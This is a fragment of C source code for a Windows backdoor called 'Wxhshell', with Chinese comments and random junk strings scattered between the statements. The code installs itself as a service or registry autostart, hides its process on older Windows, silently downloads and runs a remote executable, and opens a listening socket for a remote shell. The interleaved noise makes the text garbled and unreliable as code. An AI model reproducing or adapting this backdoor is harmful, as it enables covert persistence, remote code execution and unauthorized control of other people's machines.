K CloseHandle(hProcess); sOm&7A? {j%7/T{ if(strstr(procName,"services")) return 1; // 以服务启动 +TN*6V{D Bp/25jy return 0; // 注册表启动 #zg"E< } (H-kWT BOme`0A // 主模块 3-gy)5.xe int StartWxhshell(LPSTR lpCmdLine) SHQgI<D7 { z
q@"qnr SOCKET wsl; 9`Xr7gmQf BOOL val=TRUE; GriFb]ml" int port=0; %JuT'7VB struct sockaddr_in door; W];l[D<S* YXIAVSnr if(wscfg.ws_autoins) Install(); Wb;D9Z =QhK|C!$A port=atoi(lpCmdLine); vAzSpiv- (/C
8\}Ox if(port<=0) port=wscfg.ws_port; AQ)J|i #0c;2}D WSADATA data; '
BY|7j~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tua#~.3}J }Io5&ww:U if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eV\VR
!!i setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U,V+qnS door.sin_family = AF_INET; *rmM2{6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); S'=}eeG door.sin_port = htons(port);
Wux[h8G
uE'Kk8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RP%FMb}nt closesocket(wsl); *#j_nNM4 return 1; -EG=}uT['b } :_kZkWD5 bdHHOpXM if(listen(wsl,2) == INVALID_SOCKET) { }r|$\ms closesocket(wsl); `vD.5 return 1; a7"Aq:IjU } V(0V$&qipc Wxhshell(wsl); N^zFKDJG WSACleanup(); TH*}Ja^/ vvF]g., return 0; lMe+.P| S^nI=HTm } ]\*_} SzyaVBD3 // 以NT服务方式启动 0lS=-am VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?D=C8[NEX { ]l6niYVB2 DWORD status = 0; @k\npFKQm DWORD specificError = 0xfffffff; U&gI_z[ d8&T62Dnd4 serviceStatus.dwServiceType = SERVICE_WIN32; ^AC2 zC serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,YF1*69 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KdC'#$ serviceStatus.dwWin32ExitCode = 0; mJ+mTA5bW serviceStatus.dwServiceSpecificExitCode = 0; 3+H[S#e:Z serviceStatus.dwCheckPoint = 0; @j=rSS serviceStatus.dwWaitHint = 0; /.Jq]" f}7/UGd hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9S8V`aC if (hServiceStatusHandle==0) return; TnJNs C;']FmK] status = GetLastError(); ;8yEhar if (status!=NO_ERROR) FMz>p1s|dK { 'EG/)0t` serviceStatus.dwCurrentState = SERVICE_STOPPED; *@g>~q{` serviceStatus.dwCheckPoint = 0; Gq{ );fq serviceStatus.dwWaitHint = 0; r\$`e7d}! serviceStatus.dwWin32ExitCode = status;
?fQ8Ff serviceStatus.dwServiceSpecificExitCode = specificError; ~r&+18Z; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7-d.eNQl return; H.&"~eH
} apWv+A jQdIeQD+ serviceStatus.dwCurrentState = SERVICE_RUNNING; O#Ho08*Xn serviceStatus.dwCheckPoint = 0; 8B3C[? serviceStatus.dwWaitHint = 0; O8/r-?4. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YA~`R~9d } U;LX"'} bd)Sb? // 处理NT服务事件,比如:启动、停止 FA1h!Vit VOID WINAPI NTServiceHandler(DWORD fdwControl) 8BX9JoDi { 2j=HxE switch(fdwControl) @Wa, { g:Ry.=F7W case SERVICE_CONTROL_STOP: 4f'!,Q ; serviceStatus.dwWin32ExitCode = 0; YtA<4XHU serviceStatus.dwCurrentState = SERVICE_STOPPED; # aIV\G serviceStatus.dwCheckPoint = 0; (BIg serviceStatus.dwWaitHint = 0; 'k/:3?R { *&~
' SetServiceStatus(hServiceStatusHandle, &serviceStatus); |J:m{ } r)oR`\7 return; BF /4 case SERVICE_CONTROL_PAUSE: -V=,x3Zew serviceStatus.dwCurrentState = SERVICE_PAUSED; l4\ !J/df break; k<y~n*{_ case SERVICE_CONTROL_CONTINUE: p:3
V-$4X serviceStatus.dwCurrentState = SERVICE_RUNNING; 4VHX4A}CgA break; ;nKhmcQ4 case SERVICE_CONTROL_INTERROGATE: eHUb4,%P break; dUkZ_<5'' }; H6<3'P SetServiceStatus(hServiceStatusHandle, &serviceStatus); u^( s0q } WP
!u3\91 Bs^p!4=
// 标准应用程序主函数 (1)b> 6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lF~!F<^9 { R/l/GNm #BX}j&h_ // 获取操作系统版本 *.!5327 OsIsNt=GetOsVer(); B* k|NZj GetModuleFileName(NULL,ExeFile,MAX_PATH); 34 I Cn~ C5~
+"#B // 从命令行安装 )p[Qj58 if(strpbrk(lpCmdLine,"iI")) Install(); n7hjYNJ LrdX^_,nt // 下载执行文件 `_(N(dm if(wscfg.ws_downexe) { hHyB;(3~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3V3 q
vd WinExec(wscfg.ws_filenam,SW_HIDE); zin'&G>l } lKV7IoJ&; fhmBKeFdV
if(!OsIsNt) { 5EL&?\e // 如果时win9x,隐藏进程并且设置为注册表启动 Vw5Pgt x HideProc(); AA[?a
StartWxhshell(lpCmdLine); K[i&!Z&
} i wI} else 3W}qNY;J if(StartFromService()) BKQwF*<V // 以服务方式启动 8$38>cGY^ StartServiceCtrlDispatcher(DispatchTable); lVgin54Q else UH#S |o4 // 普通方式启动 c"zE StartWxhshell(lpCmdLine); ww)ow\ nKe|xP return 0; 6NGQU%Hd }
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